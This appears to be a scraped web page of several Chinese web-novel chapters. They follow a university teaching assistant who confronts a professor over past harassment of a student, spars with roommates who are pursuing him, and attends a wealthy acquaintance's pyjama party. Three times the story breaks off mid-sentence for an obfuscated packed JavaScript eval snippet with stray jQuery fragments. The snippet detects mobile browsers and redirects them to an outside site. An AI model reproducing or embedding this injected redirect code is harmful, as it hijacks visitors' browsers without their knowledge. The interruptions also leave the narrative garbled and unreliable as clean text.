一般来说,A大计算机系的助教团队都是研究生,但大三的闻青延是个特例,他能参加助教选拔主要还是有刘教授的背书。
闻青延大二就进刘教授项目打下手,因为专业基础牢靠,做事严谨踏实,早已被老师预定为未来门生,反正以他的绩点来说保研是铁板钉钉的事情。
刘教授用他用得顺手,见闻青延找上门,不介意给他开个小后门,将他加进助教选拔名单里。后续闻青延也很争气,没丢老师的脸,顺利以亮眼的成绩通过了考试选拔,每个月多了一笔兼职进账,还加综测分。
学弟学妹碰到问题,闻青延基本能三两句把人点通。上课的老师都夸过他几次。对此闻青延很自得,面上还是保持谦逊,只说他对大一容易踩的坑和犯的蠢记忆犹新,所以刚好能帮上忙。
不得不说,闻青延在学弟学妹里还那么有知名度,除了脸真的很绝,和他做助教口碑很好也有点关系。
卫华瀚心虚地挠挠头:“哎呀,付老师声音有点小啊,我有时候听不清就会走神。闻学长,你帮我们提建议,让老师戴个小蜜蜂吧。”
“知道了,我会跟老师转达。”
闻青延边敲键盘,边跟男生讲解步骤。
为了不影响旁边的人,他声音压得比较低,哒哒的键盘声时不时就会盖过他的声音。
卫华瀚听着听着视线就飘到闻青延正在敲键盘的手上。
闻青延的手很白,十指纤长,骨节秀气。指尖泛着健康的粉色光泽,指甲长度刚好,不会留太长,也不会剪太短,边缘修得圆润,指缘光滑,没有一根倒刺。非常干净、漂亮的一双手,机房黑乎乎的破键盘都被这双手衬出几分高级感。
听说闻学长会擦护手霜,有会他听见班里女生偷偷讨论被闻学长摸过的键盘和鼠标有淡淡的香气,她们互相推搡着谁去问闻青延护手霜的牌子和价格,但最终谁也不好意思去问。
“又开小差呢?”
闻青延抬手在卫华瀚眼前一晃。
卫华瀚吸了吸鼻子,还真挺香的,下意识开口问:“闻学长,你护手霜什么牌子什么香味啊?”
闻青延:“……别讨论课堂无关。”
他沉下脸还是很能唬人的,卫华瀚连忙低头认错:“我错了,您说,我听着。”
刚解决完这边的问题,机房里又有两个人举手召唤他。然后整节课闻青延就没再坐下来过,不断在电脑间穿梭,帮这些神奇宝贝解决各种各样神奇问题。
付老师踩着下课铃声回到实验室,他拿起保温杯和课本,离开前还慈爱地拍了拍闻青延的肩膀:“不错啊,小伙子,你要保研本校对吧?以后还来给老师当助教。”
闻青延:“……”
等人都走光了,闻青延最后检查一遍所有机子都关机了,没有人遗漏物品,又顺手捡了几张废纸扔进垃圾桶,才锁门离开。
他下午还有一节课,现在走过去教学楼,时间刚好。
下楼梯时,闻青延远远瞥见对面下一层楼的走廊,一个女生进了办公室关上门。
是裴康盛的办公室。
要不要过去看看?
闻青延掏出手机看了眼,他今天没骑车,路上耽搁的话,上课肯定会迟到。
算了,下节课老师出勤管的很严,查到就扣平时分。
大白天的,应该没事吧?而且裴康盛之前才被他警告过。
闻青延脚下没停,一会就下到一楼。
他站在实验楼闸机前翻包找卡,一边吐槽:“大爷,这栋楼能搬走的就几台破电脑,贵重的大件也不可能在您眼皮子底下丢了。现在进来要刷卡就算了,怎么出去还得刷卡啊?”
“唉,领导要求的,我们也觉得不至于,但是…”看管这栋实验楼的保安摆摆手:“万一呢?”
万一呢?
闻青延捏着学生卡的手一顿,莫名在心底重复了一遍这三个字。
“反正领导就这么一句话把我们堵回来……”
话还没说完,一个残影从眼前掠过,保安大爷下意识跟着扭头,刚刚还在眼前的人已经快消失在楼梯转角。
“诶!你跑什么?东西忘拿了?慢慢走!实验楼不许追跑!”
闻青延一边跑上楼一边在群里发语音消息:“一会谁有空来实验楼接我?”
-
“咚咚咚——咚咚咚———咚咚咚——”
敲门声急促得有些尖锐。
“来了,稍等。”女生拉开办公室门,撞进闻青延焦急的眼神里,微微怔神:“额,校草?”
虽然她不认识闻青延,但对方是论坛和校园墙的常客,经常有人拍他的照片发在这两个地方,刷久就眼熟了,现在当面遇见也能一眼认出来。
不过她还是一次看校草这么狼狈。
要知道之前哪怕是校运会长跑比赛,校草都是一幅游刃有余的样子跑完全程……以至于论坛有人吐槽校草很装,有男神包袱,楼下高赞反驳说一堆人在学校偷拍他,他注意点形象不是很正常?也有回复说支持帅哥有形象包袱等等。
总之就是不管喜欢还是吐槽,论坛在这件事上还是达成一致了——闻青延确实是挺在意形象的人。
但此刻男生双手撑着膝盖,大口大口喘气,没有半点形象管理。
女生内心默默道:……更帅了怎么回事。
闻青延上下打量了下女生,见对方神色正常,不像有什么的样子。他松了口气,才发现小腹隐隐抽痛,估计是刚刚一下子跑过快,有些岔气了。
“进,呼——,进办公室干嘛关门?”
“啊?”
“进办公室不能关门。”
“啊?这样吗?”办公室有这规定?
闻青延:“下次记住。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921384|192560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“嗯,好。”女生懵懵地点头,怎么感觉校草有点凶?……不过,真的好帅啊。
她平时刷论坛和校园墙只是为了出二手、找代课、吃瓜啊……根本不参与风云人物的讨论啊,现在怎么感觉自己多少也沾点花痴属性?
还是离帅哥远点吧,等下脑子被吃掉了。
“你找裴老师吗?他在里面,我正准备走。”女生还回头跟裴老师打了个招呼,“老师,那我先走了。”
办公室里传来低沉的男声:“嗯。”声线听起来还很年轻。
闻青延目送女生急匆匆离开,转身进了办公室,反手关上门。
实木办公桌后,裴康盛坐在老板椅上。
他慢条斯理地点了根烟,深深抽了一口,才抬眼看向闻青延,嘴角飘出几缕烟雾:“怎么把门关上了?”
裴康盛长相中上,一直养尊处优的生活让他人到中年,脸上也没什么纹路,看起来比实际年龄要年轻得多,再加上他脾气温和,气质斯文,平时对女学生很绅士,偶尔会在课堂上分享和妻子的爱情故事,塑造得好一副风度翩翩斯文教授形象,在学生中的风评一直很好,甚至校园墙每年都有学生说他是理想型。
但闻青延知道他的真面目有多丑陋。
闻青延厌恶地皱了皱眉,懒得和他废话,大步绕过办公桌,揪起他的衣领:“裴康盛,你别忘了我手里的东西,足够你身败名裂!当初的事是学姐说不想闹大,我才放你一马,如果你再犯,我……”
“当初什么事?你要怎样?”裴康盛轻轻一笑,不急不缓地反问道:“你要把严优扬拖下水?你猜舆论会怎么说?你以为严优扬现在不在我手下,我就卡不了她的毕业证了?当然,我是老师,肯定不会故意卡学生毕业。但是你要想清楚,圈子就这么大,她毕业以后还要不要做人?”
闻青延面上怒火中烧,心里却已经冷静下来,在盘算裴康盛有什么底牌?为什么这次比之前表现得更加有恃无恐。
“当初严优扬同学确实对我表达了爱慕,不过她还小,一时冲昏头脑可以理解,我已经严肃拒绝她了,我爱人也知道这个情况,表示体谅我的工作。”
“你……”闻青延心想,这是跟妻子摊牌了?但也不至于这么嚣张来他面前颠倒黑白,除非……他背后有靠山,而且自信能随手摆平这件“小事”。
“毕竟我和严同学什么也没发生。”裴康盛加重“什么也没发生”的咬字,缓慢但不容拒绝地将衣领从闻青延扯回来。
他抚平被捏皱的衣领,还是温和的长辈语气:“你这孩子,我大早上起来熨平的衣服又被你给捏皱了。”
闻青延咬着牙收回手,冷冷道:“你最好有分寸,再有下次的话,我不会这么简单放过你的!”
“呵,你这么怜香惜玉,舍得拖别的女孩下水?到时候流言蜚语可不好挨。”
裴康盛不以为意。
闻青延冷笑:“我会实名举报你骚扰我!”
裴康盛脑袋跟被雷劈了一样嗡嗡响。
他一个纯正的老直男,听到这种话,哪怕明知闻青延纯粹捏造,没有实质证据,还是脸色一黑,生硬道:“我没必要跟学生纠缠不清,以前不会,以后也不会。”
“你最好是!”
闻青延放完狠话也把自己恶心得不轻,摔门离开。
14. 书包重击
周嘉砺在书房开跨国线上会议。因为要开摄像头,他午饭回来后换了件更正式的衬衫,下身还是休闲裤。
书桌上的笔记本电脑开着公放,这轮发言的白男汇报起来手舞足蹈,没完没了的长篇大论。
屏幕上别的小格子里参会人员要么一脸涣散,明显走神了;要么忙碌地敲键盘,显然已经切屏同步处理别的工作。
周嘉砺往后一靠,屈指在实木的桌面上敲了敲。
发言的男人立刻噤声。
“请讲重点。”周嘉砺说英文比他说中文音色要再低一个调,他说请,但用的是祈使句的语气,不容置喙。
屏幕里的男人有些尴尬地点点头,果然加快进程,跳过大篇幅过于细节的工作流程和无意义的个人夸耀,直接汇报结论。
周嘉砺搁在桌上的手机屏幕一亮,弹出一则消息。他余光瞥见“闻青延”三个字,随手点进去,发现是一则语音消息。他伸手想要转文字,却误触扬声器播放,手机音量还不小。
“一会谁有空来实验楼接我?”
男生断断续续带着喘息的声音不仅在周嘉砺耳边炸开,还在会议室频道里同步回荡。
本来已经结束个人汇报,开始讨论问题的会议频道一下鸦雀无声。
周嘉砺也是一怔,回过神后不动声色地揉了揉耳朵,微微颔首道:“不好意思,大家继续。”
参会人员大半都是听不懂中文的外国人,听见这样暧昧动听的音色,都想歪了,以为是年轻恋人之间私密的语音,大家互相对视。其中一个五十来岁的高管女士会心一笑道:“真甜蜜。”
周嘉砺面不改色道:“您误会了,只是校友。”
“好的我知道了,只是校友。”高管女士点点头,在场她资历最深,调侃几句集团继承人也没太多顾虑,“看来我们得加快会议进程,周,你们一会是要出去约会吗?”
周嘉砺:“……”
周嘉砺将视线投向总助老李,老李对上小周总的视线,马上替他分忧,笑着出声解释了刚才那句语音的意思,并继续推进会议流程。
“哦,没关系的。”高管女士没说信不信李特助的解释,摆摆手道:”继续会议吧。”
其实听得懂中文的参会人员私底下群聊已经翻了好几页,几秒钟的时间,这个语音事件就传遍了集团各大闲聊群,重点不在这条语音说了什么,而是小周总这样一个一丝不苟的完美主义,居然在会议上玩手机!
:就算你是周氏集团继承人,开会时也得回男朋友消息!
:不是,一条语音说明不了什么吧?可能真的就是误点了。
:你们有听见录音吗?这声音喘得好瑟啊,怪不得外国同事误会……(已撤回)
:不是,楼上疯了吗?会议录音能外传的吗?你小心一会hrbp就到座位找你。
……
会议继续推进,周嘉砺把手机放回桌面前,但没锁屏,群聊又就间断弹出几条新消息。
【路知远:怎么喘成这样?】
【焦浩宇:1】
……
【路知远:我刚刚和朋友在校外聚会,我现在过来接你?@舍长】
【闻青延:不用了,焦浩宇载我去上课,来得及。】
【路知远:好。】
闻青延回完消息,收起手机,跳上焦浩宇的自行车后座。
“快点,快点!”他一手抓着焦浩宇腰间的衣服,一手拍他的肩膀催促。
焦浩宇暗自用力,绷紧肌肉,说:“这段上坡路呢!怎么快?放心,迟到不了!”
“你行不行啊?不行我来骑!”
“有没有良心,是谁都快回到宿舍了,还千里迢迢赶过来接你?”焦浩宇咬牙切齿道,被这么一激干脆站起来,爬坡冲刺。
闻青延揪着焦浩宇的卫衣,焦浩宇一起身,他一时不防也跟着往前倾,额头撞到对方背上,发出一声痛呼。
焦浩宇大笑:“抓稳了,加速加速!”
“怎么样?还是我靠谱吧!你一发消息我就到楼下了。”
“嗯哼,谢了。”闻青延干脆把额头抵在焦浩宇后背上,省得风把他的头发吹乱。
“那个路知远最近怎么老是找你?周嘉砺也是,我上次看到他送你回宿舍……”
闻青延:“周嘉砺送我也就那一次吧。”
他和周嘉砺根本不熟,甚至没加联系方式。不过,闻青延最近确实很和路知远走得蛮近。
“路知远人挺热情的。”闻青延想,大概是他平时人设立得太成功,被路知远识别成一个圈层的人了吧。
焦浩宇脸色一黑:“他怎么不对我热情?”
闻青延纳闷:“我人缘比你好不是很正常?”
别看焦浩宇在宿舍帮他带早餐,叠衣服,整理内务仿佛任劳任怨的老黄牛。实际上焦浩宇脾气很爆,眼高于顶,看不入眼的人,他根本不屑记名字,维持最基本的日常往来。焦浩宇平时也就和篮球队的队员处得比较熟,班上很多同学的名字他都叫不上来,也认不得脸。
焦浩宇恨闻青延是个榆木脑袋,语气焦躁:“你是真不懂还是装不懂?”
“这姓路的肯定不怀好意!每回见着你跟野狗馋肉骨头一样,摇着尾巴就凑上去了。他多半是想用金钱攻势拿下你!不然哪来的散财童子,要送你豪车,还要免费送你去考驾照?培养司机呢?”
焦浩宇越说越急,越说越觉得是这么回事,恨不得冲回宿舍把路知远的铺盖卷起来丢出603。
“得了吧。”闻青延无语:“你以为谁都是你啊?你这是自己心里有鬼,看谁都有问题!大家有缘住一个宿舍,就是好兄弟,好兄弟不都这样相处吗?”
他嘴上这样讲,心里却生了些芥蒂。倒不是因为前面那些污蔑路知远也惦记他屁股的胡言乱语,而是最后那句“培养司机”刺了他一下。
闻青延琢磨这几日和路知远的相处,有些回过味来:路知远不会是想用金钱攻势收买自己当小弟吧?毕竟有他这么帅的小弟,别太拿得出手,出门在外多有面子。
这不是闻青延瞎联想,他小学初中
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921385|192560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的时候就常常有高年级的学长学姐想认他当弟弟,说长得这么可爱,带出去和哥们姐们炫耀,脸上有光。
像现在路知远给闻青延介绍无偿考驾照的机会,还主动提出以后让闻青延随便开他的豪车去兜风,拿人的手短……那将来闻青延真的开着路知远的车子,岂不是路知远一个电话说要用车子,他就得随叫随到,车接车送?
闻青延不高兴地抿抿唇,驾照他要考,但富少的跟班他可不乐意当。
焦浩宇听闻青延替路知远讲话心情更加糟糕,车子刚好停到目的地,他转过头,一时口不择言道:“你是不是不舍得他给你那点小恩小惠?你吃金钱攻势这一套你早说啊!我家也有钱,我也可以给你花。”
早知道闻青延吃这套,他还玩什么温水煮青蛙,爱在心底难开?焦浩宇表情愈发阴郁。
“有病!”闻青延本来就不太高兴,现在连着焦浩宇也看不爽了,下车的时候用书包砸了他一下,背着书包转身就走,一句再见也不说。
“嘶——”焦浩宇一边抽气一边揉肩膀,“喂!晚上没课了吧?要不要等你放学?”
闻青延背对着他,举起一个中指。
“靠。”焦浩宇把腿都快踩断了,才提前将闻青延送达目的地,就收获一个书包重击,和一个中指。“我冤不冤啊?”
但他冷静下来,也知道自己刚才脑子一热讲得话太过分,一时又有些害怕闻青延真的生气了不理他。焦浩宇把自行车锁好,找了间空教室坐下来玩手机,等闻青延放学。
【焦浩宇:对不起,对不起,那不是我的真心话,我只是怕你吃亏。】
【焦浩宇:我在楼下等你,放学可以约你吃晚饭吗?我请客,就当赔罪了!】
【焦浩宇:你不回我是没看到消息吗?那我一会去你上课的班级门口等你好吗?我怕下课人多,你不好找我。】
……
焦浩宇给闻青延发了一串私聊,好消息是闻青延没有拉黑他,坏消息是闻青延也没有回复他。
他想起自己聊天框早就被取消置顶,而闻青延手机常年99+的新消息,只好转移阵地去寝室群里@闻青延,让他看私聊。
-
闻青延根本没看手机,他急匆匆赶去教室,在前排坐下,上课铃响之前就把手机静音塞进书包里,专心听课,完全不知道焦浩宇发了一长串消息。
其实焦浩宇那话,他也就当时气了一下,用书包砸过后气就消了。
焦浩宇还吹牛说他也有钱,闻青延都懒得揭穿他。两人大学同宿舍三年,焦浩宇这人也就大一刚开学那会摆阔天天打车上学,不到半学期,就装不下去了,也开始学习闻青延低碳生活,晴天骑自行车,雨天挤校园巴士。闻青延估计焦浩宇最多中产家庭出身,父母零花钱给得松一些,但他爱买大牌鞋子什么的,每个月日常所剩也不太多。
闻青延兼职模特的收入虽然每个月都有波动,但绝对比焦浩宇的零花钱多,只是他费钱的地方也多罢了。
就这,还想拿钱砸他?先吃他书包一招吧!
15. 咬手指
前两天焦浩宇不知道和闻青延闹了什么矛盾,在宿舍群聊里疯狂道歉。路知远一开始还当乐子看,结果眼看焦浩宇打着赔礼道歉的名义,全天候围着闻青延转,硬是霸占着闻青延,有意无意将路知远排挤出局。
路知远搬进来那会,闻青延因为醉酒告白事件,单方面和焦浩宇冷战,他哪见过两人好得跟一人似的场面啊?
焦浩宇对闻青延的课表和日常动线了如指掌,往往路知远才刚发消息给闻青延问要不要顺路把他捎回宿舍,那头焦浩宇早已经在闻青延附近等候;几次约闻青延吃饭,对方的回答也多半都是:“啊,今天?今天不行,跟焦浩宇先约好了……明天?明天焦浩宇……”
路知远这些日子都快被焦浩宇这些小手段恶心坏了,天天在朋友群里辱骂焦浩宇,两人碰上了火药味也很冲,在闻青延面前还要硬撑,装无事发生,不然显得他多幼稚多没风度。
要不是今天这场生日派对是上周路秀洁提前邀请的闻青延,恐怕路知远还没那么容易绕过焦浩宇把闻青延拐上车。
“等会儿顺路去接个人,她也跟我们一块去。”
路知远见闻青延上车后一直在看手机,干脆侧过身帮他系安全带。
他一手撑在副驾椅座上,一手伸去拉安全带,本来没想太多,但一凑近,视线不由自主落在闻青延微张的嘴唇上。
闻青延皮肤白,嘴唇的颜色也浅,淡淡的粉色,唇肉饱满润泽,似乎有一层水光反射。
路知远喉结上下滑动,问:“你中午吃东西没擦嘴啊?”
闻青延注意力都在手机上,他刚上车焦浩宇就发来消息轰炸,又正好收到经纪人刘艺发来一些对接的消息,以及攀岩社下一轮团建报名……他一心多用,完全没注意路知远说了什么,只是敷衍地用鼻音“嗯?”了句。
“那我帮你擦。”路知远伸手,指腹轻轻蹭过闻青延柔软的嘴唇,温热的吐息洒在指尖,泛起一阵酥麻,他鬼使神差地将手指往嘴巴里伸。
闻青延思考太专注时有咬手指关节的坏习惯,手指关节处常常都是牙印,这会他把路知远的手指当成自己的含住了,贝齿轻轻一咬,还在手指上磨了磨。
路知远感觉到软软的小舌轻轻舔过,心里痒痒的,结果他还来不及荡漾,闻青延突然用力咬下去。
“诶——”路知远手指被闻青延叼住,疼得连声抽气。
闻青延也反应过来咬的不是自己的手指,怪不得怎么咬都不疼!
“呸呸呸!”他把路知远的手吐了出去,眉头紧拧,张着嘴含糊道:“水!”
路知远:……
这幅架势,要不是他知道闻青延是误叼了他的手指,还以为他这是误吞了毒药呢。
路知远把矿泉水瓶盖拧开递过去。
闻青延含了一口水,打开车门,吐到地上。
“嘭——”闻青延关上车门,抽了张纸巾擦嘴角,恶狠狠道:“你把手指伸进我嘴里干嘛?”
“……”路知远:“我刚洗过手,干净的。”
“干净的就可以伸到我嘴里吗?”
“不是,诶,我是想帮你擦嘴,你吃完饭嘴巴没擦。”路知远抬起手,展示受伤的手指,指腹有一层亮亮的油光,指关节一圈整齐的牙印。“结果你把我咬成这样!”
闻青延气笑了:“你吃饭才不擦嘴呢!那是润唇膏!全被你蹭掉了。”
“润唇膏?”路知远看了眼指腹,凑到嘴边舔了舔,一股淡淡的草莓糖味,甜的。
“你舔什么?”闻青延睁大双眼。
路知远不以为然,“尝尝什么味。”
闻青延:“……”这正常吗?他开始怀疑那天焦浩宇说路知远是gay有几分真假。听说同类人之间的确有雷达,可以辨别彼此。
路知远瞥了眼闻青延的表情,抽了张湿纸巾擦手,“不好吃,一股香精味。这玩意油腻腻地糊嘴巴上不难受吗?还容易不小心吃进嘴里。”
闻青延松了口气,觉得自己应该是被焦浩宇弄得杯弓蛇影,想太多了,本来嘛,一个宿舍怎么可能那么凑巧有两个gay。这样一来也忘了生气,还开玩笑道:“吃吃就习惯了,早晚要吃。”
路知远深深看了他一眼,笑哼了声。
闻青延:“?”
好怪的眼神……他没说错什么吧?以后交了女友,接吻前肯定不可能把人家口红擦了再亲呀。
-
车子停在女生宿舍楼下。
闻青延问:“女生啊?”
路知远说:“嗯,算是我妹,有点亲戚关系。”
路知远坐在车上没下去,闻青延以为人还没那么快下来。
“早说,那我要不坐到后面去?让女生坐副驾。”闻青延一边问,一边已经直起身准备下车,路知远伸手摁住他要解开安全带的手,说:“你坐着就好。”
这时后车门打开,一个长卷发的女生坐进车里,她也听见两人的对话,当即道:“对对对,蜻蜓,我坐后面就可以。”说完她捂住嘴,意识到自己叫错了。
闻青延一怔,回头果然是一张熟悉的脸,是那天Moon里点他的周嘉云。
闻青延的耳朵噌一下红了,虽然当时就知道包厢里的都是同龄人,但真的没想到那天的女生会是自己的校友。
他茫然地看向路知远,怎么没提前告诉他?
路知远就是故意的,他勾了勾唇,驾驶车子往前开,漫不经心道:“蜻蜓你忘了?她是周嘉云,那天在Moon大家一起玩过。”
闻青延在心里痛殴路知远,确定他就是故意想看自己乐子。
他怎么这么倒霉?之前贪图高价出场费,去商K顶了一次班,就那么一次,偏偏被两个新舍友撞破,这还不够,现在又告诉他当晚点他的女客人还是自己的校友。老天爷,玩他呢?
闻青延脸颊火辣辣的,他抬手用冰冷的手背贴了贴发烫的脸,微微低头,发丝垂落到两颊,内心默念千万别脸红,太逊了。
路知远手搭在方向盘上,利落地转了个弯,进入新路段,余光瞥了眼闻青延,玩笑道:“周嘉云可是喜欢你很久了。”
“别乱说!”周嘉云坐在驾驶座后面,听见这话,透过后视镜瞪了眼路知远,又看向闻青延解释道:“我在论坛经常刷到你……当时就认出你了,不过,我想在Moon……嗯,出门玩你应该更喜欢用花名。”
说着说着,她瞥见闻青延
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921386|192560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
粉发下露出一点嫣红的耳尖,也有些不好意思,别开眼不敢盯着他看,提到Moon时,舌头一度打结,想了想还是换了个更含蓄的说法。
闻青延不确定自己有没有脸红,仍是稍稍低着头,视线落在后侧方,面上挤出一个笑,说:“那天是替朋友临时顶班,觉得好玩就去了那一次。要帮我保密哦,在学校毕竟影响不太好。”
周嘉云连连点头:“一定一定。”
打过招呼的闻青延转过身去,脸上的热度也有所退却,他想,他一个男大去商K兼职模子哥说出去不好听,那他们这群富哥富姐大学生跑去商K点模子哥说出去又好听到哪里去呢?
这么想着心里也没那么别扭了,和周嘉云继续闲聊道:“没想到这么巧,我跟路知远、周嘉砺还分到一间宿舍。”
周嘉云闻言看了路知远一眼,显然并没这么巧,是人为干预,不过嘴上还是说:“是啊是啊,好巧哦。你以后可以跟远哥一起和我们玩,我们那圈人还挺经常聚的,什么活动都有,主打一个热闹。”
-
闻青延三人抵达金荔山庄时,别墅前的平地上已经停满了一排豪车。
周嘉云和今天派对的主人郑瑞彤很熟,郑瑞彤爱在家里办派对,周嘉云往日没少来这里。
别墅大门敞开着,并没有人等在这里接待。
路知远皱了皱眉,“郑小姐家里破产了?请人搭把手的钱都出不起?”
郑小姐就是今天派对的主人,她全名叫郑瑞彤,周嘉云和她很熟,了解她的性子——混时尚圈的人,很享受办派对。郑瑞彤每次办主题派对都好像做时装周展,从主题概念跟到布场落地,事事亲力亲为,尽善尽美。她家里的保姆肯定是临时被叫去做事,才会没人守在大门接客。
周嘉云很不在意道:“彤姐一向是这个性子,搞时尚的嘛,也算半个艺术家,比较随性。我带你们进去就好了,这里我来过好几次。”
说完,她领着路知远和闻青延直接往里走。
拐过玄关,进到会客厅,各式各样香槟色的气球、彩带、羽毛、鲜花、玩偶、挂画等等装饰物将客厅塞得满满当当,仿佛进入了一头扎进香槟色的海洋,奇怪的是一个人影也没见着。
周嘉云“咦”了声,说:“奇怪,人呢?”
路知远手臂搭载闻青延肩上,揽着他一起坐到沙发上,跟周嘉云说:“你给她打个电话吧,是不是临时取消了?”
闻青延有些心不在焉,推开路知远的手臂,倚着旁边的沙发扶手,拿出手机。
路知远看了看手指,伸到他眼前:“诶,你刚刚咬这么狠?差点就要出血了。”
闻青延:“滚开。”
路知远还不缩手,继续道:“真的啊,你看看,牙印到现在还在!有点像戒指。”
谁家戒指戴在这么前面?
闻青延张嘴凑上去恶狠狠咬了一口空气,警告他:“再过来咬你!”路知远赶紧缩回手指,不知道笑什么,在一旁笑得乐不可支,但总算没再过来犯贱。
终于能专心玩手机了,闻青延打开TK,找到“金荔山庄”的定位,发了一条动态。
【蜻蜓:回一趟家。(定位:金荔山庄)】
16. 粉丝绒
“这里这里!”
三人在楼下没等太久,周嘉云刚打完电话,楼上就传来一连串脚步声。
闻青延闻声望去,二楼的围栏有人探出半个身子。
阳光透过大扇落地窗隐约勾勒出一个曼妙的女士身影,她身后阴影里还站着个瘦高的年轻男人,单手揽着她的腰。
“彤姐,真不像话,自己拉着帅哥躲在楼上,不管宾客了?”周嘉云收起手机,和郑瑞彤玩笑,“一个人影也没见着,派对该不会临时取消了吧?”
“没取消、没取消,人要么在更衣室,要么在后院花园呢。”郑瑞彤头上顶着数十个发卷,穿一身鸵鸟毛香槟色锻光晨袍,汲着双镶钻的拖鞋,踢踢踏踏从楼上迎下来。
她走起路来身姿摇曳,男人跟在她身后,伸出一只手殷勤地虚抚着她的臂膀,仿佛怕她从大理石楼梯上滚下去。
郑瑞彤边走近边亲昵道:“嘉云,你可总算来了!嗳哟,好久不见,又漂亮了!等会你一定要试试我这季的主打设计!你穿起来呀肯定好看!”她颧骨很高,下巴略方,算不上世俗意义上的漂亮,但笑起来很有味道,讲话声音洪亮,气势很足。
周嘉云扫了眼郑瑞彤身后和她穿着同款睡袍的男人。他睡袍上身松散,露出遍布红痕的结实胸膛,看上去比郑瑞彤年纪要小一些,脸长得很英俊,还有点明星相。
周嘉云想了半天才想起来郑瑞彤之前介绍过男伴好像叫Ryan,于是也跟他打了个招呼:“Ryan你最近换发型了?帅得我没认出来。”
“哈哈哈,嘉云,他是Allen。Ryan前两个月就出国发展去了。”郑瑞彤笑笑,拍拍男人的手臂,微微撇过脸去交代他:“Allen,你叫小娄来客厅,帮我招待宾客,真不知她怎么做事的。你跟她说,客厅不可以不留人的。”
Allen识趣地松开郑瑞彤,由她去和周嘉云拥抱,自己走到一旁,拿起搁在圆桌上的对讲机呼人:“娄助?娄助,能听见吗?……彤姐叫你来趟客厅,有贵宾要招待。”
圆桌就在闻青延斜后方,他扭过身去看,认出这个Allen是同公司的模特,先前两人还一起试镜过。
那头Allen收到回复,把对讲机掐掉,放回原处,正好和闻青延对上视线。
闻青延刚准备出声和他打招呼,路知远一把揽住他的肩膀,两人紧挨着,闻青延甚至能感受到路知远说话时胸腔的颤动。“生日快乐,郑小姐。”
郑瑞彤已经过来了,闻青延便只和Allen点点头,算是打过招呼。
Allen脸上露出一个古怪的笑意,闻青延没注意,扭过头跟着路知远鹦鹉学舌,向郑瑞彤问好:“郑小姐,生日快乐。”
郑瑞彤见到闻青延的正脸,心底一跳,一时忘了自己要说什么。她混时尚圈,巨星名模都见了个遍,涨了眼界之后,已经很难遇到能让她一眼惊艳的美人。
闻青延浅粉色的头发洗得有些褪色,在阳光下呈现淡金色,皮肤白得近乎透明,眉眼浓秀,鼻梁高挺。他坐在宝蓝鹅绒沙发上,这间装饰得富丽堂皇、花团锦簇的厅堂一下被他衬得暗淡,仿佛一副蒙尘的旧油画布,唯有他这人是着了色的,新添上去般鲜艳得扎眼。
“难怪邀请函上写的是''晨间花园'',原来是睡衣趴。”闻青延脸上漾开一圈笑。
郑瑞彤跟着笑,嗔怪地看向紧挨着闻青延的路知远:“稀客啊,路少爷,难得你来我这捧场。你身旁这位大帅哥不介绍一下?”
“闻青延。”路知远长腿交叠,整个人靠着闻青延,就说了三个字,言简意赅。
“是他啊——”郑瑞彤拖长了尾调,话里有话,打趣地看向路知远,显然对路知远一言不合说弯就弯了的事情有所耳闻。
面对郑瑞彤的试探,路知远挑了挑眉不置可否。
郑瑞彤再看向闻青延,一对上他那双清亮亮的眼珠子,就知道当事人还什么不知道呢。她可不敢坏路知远的事,只朝闻青延笑笑说:“路秀洁跟我提了你好几回。”
邀请函是路秀洁给的,几人便就着她又寒暄了几句。
客厅外传来一阵鞋跟踩在大理石砖上小跑的哒哒声。
郑瑞彤头也没回,笃定道:“我私人助理来了,你们叫她小娄就行。”
果然,她话音刚落,拐角处就走出来一个穿职业套装的短发女人,背后还跟着两位穿着香槟色制服的阿姨,她疾步走到郑瑞彤身旁,朝宾客略微颔首,才向郑瑞彤低声解释道:“刚刚花园出了点状况,人手都调动过去,一时忽略了客厅。”
郑瑞彤没看她,朝三人微笑道:“好了,先不聊了,我看花园已经热闹得不行了。先让人领你们去更衣室,挑套喜欢的睡衣换上吧。”
“女士更衣室在楼上,男士更衣室在楼下。”郑瑞彤捉住周嘉云的手腕,“我去花园看看什么情况,嘉云,你跟着小娄去楼上换衣服,打扮得美美地出来,我可请了好几个大牌明星妆造师,就在化妆间候着。”
“小娄,这季主打那几款设计,你都拿出来给嘉云挑。”交代完助理,她又不高不低唤了声:“Allen,你帮我招待下两位男士。”
Allen应了声,先几步走到电梯门口去摁电梯。
-
闻青延跟着路知远进了电梯,去到负一楼。
Allen仿佛不认识闻青延,一路上没有单独和闻青延说过话。
